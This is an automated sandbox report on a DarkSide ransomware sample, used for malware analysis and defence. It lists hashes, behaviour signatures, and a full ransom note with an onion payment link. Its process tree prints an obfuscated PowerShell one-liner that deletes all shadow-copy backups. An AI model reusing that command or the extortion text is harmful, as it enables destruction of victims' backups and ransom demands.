Resubmissions

28-07-2024 16:38

240728-t5tryssgmm 10

07-07-2024 14:07

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07-07-2024 14:07

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13-09-2022 17:54

220913-wg1lpsgbg7 10

Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-07-2024 16:38

General

  • Target

    RansomwareSamples/DarkSide_16_01_2021_59KB.exe

  • Size

    59KB

  • MD5

    0ed51a595631e9b4d60896ab5573332f

  • SHA1

    7ae73b5e1622049380c9b615ce3b7f636665584b

  • SHA256

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60

  • SHA512

    9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

  • SSDEEP

    768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Malware Config

Extracted

Path

C:\Users\Admin\README.d3877f44.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Renames multiple (144) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
    "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2420
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    95e1c8db6eb5be60fa7c5f7ca36bfaed

    SHA1

    5b23544fe29ddd6f07852b4ff8971a5bf6c0fdf9

    SHA256

    3b3202f973ef9c0f477b91a022fd535a21e8b444279d8be34fcd16fccfe68a18

    SHA512

    de221bd9c8728434d7a463d7bc5123c5bc45362224b8e312abef60e2e89197cd9b77839df07069d663a483233d3395e9cd8b414d68c3b857eb9171d6d8a195db

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1u4mrdkd.pi2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\README.d3877f44.TXT

    Filesize

    1KB

    MD5

    d4e176b40c4ea17f4870c34fad926d6e

    SHA1

    2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

    SHA256

    7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

    SHA512

    feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

  • memory/2420-1-0x00007FF869C93000-0x00007FF869C95000-memory.dmp

    Filesize

    8KB

  • memory/2420-3-0x00000214A4D70000-0x00000214A4D92000-memory.dmp

    Filesize

    136KB

  • memory/2420-12-0x00007FF869C90000-0x00007FF86A751000-memory.dmp

    Filesize

    10.8MB

  • memory/2420-13-0x00007FF869C90000-0x00007FF86A751000-memory.dmp

    Filesize

    10.8MB

  • memory/2420-14-0x00007FF869C90000-0x00007FF86A751000-memory.dmp

    Filesize

    10.8MB

  • memory/2420-17-0x00007FF869C90000-0x00007FF86A751000-memory.dmp

    Filesize

    10.8MB